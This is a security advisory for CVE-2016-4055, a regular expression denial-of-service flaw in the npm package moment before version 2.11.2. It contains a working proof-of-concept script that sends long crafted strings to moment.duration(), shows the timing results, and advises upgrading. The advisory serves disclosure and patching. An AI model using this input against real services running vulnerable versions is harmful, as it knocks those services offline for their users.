Regular Expression Denial of Service in moment (GHSA-87vv-r9j6-g5qv)
Published: 2017-10-24T18:33:35Z
Aliases: CVE-2016-4055
Severity: MODERATE · CWE: CWE-400

Versions of `moment` prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into `moment.duration()`.


## Proof of concept
```
var moment = require('moment');

var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}


for (i=20000;i<=10000000;i=i+10000) {
    console.log("COUNT: " + i);
    var str = '-' + genstr(i, '1')
    console.log("LENGTH: " + str.length);
    var start = process.hrtime();
    moment.duration(str)

    var end = process.hrtime(start);
    console.log(end);
}
```

### Results
```
$ node moment.js
COUNT: 20000
LENGTH: 20002
[ 0, 618931029 ]
COUNT: 30001
LENGTH: 30003
[ 1, 401413894 ]
COUNT: 40002
LENGTH: 40004
[ 2, 437075303 ]
COUNT: 50003
LENGTH: 50005
[ 3, 824664804 ]
COUNT: 60004
LENGTH: 60006
[ 5, 651335262 ]
```


## Recommendation

Please update to version 2.11.2 or later. 

Affected packages:
package: ecosystem: npm
name: moment
ranges: type: ECOSYSTEM
events: introduced: 0
fixed: 2.11.2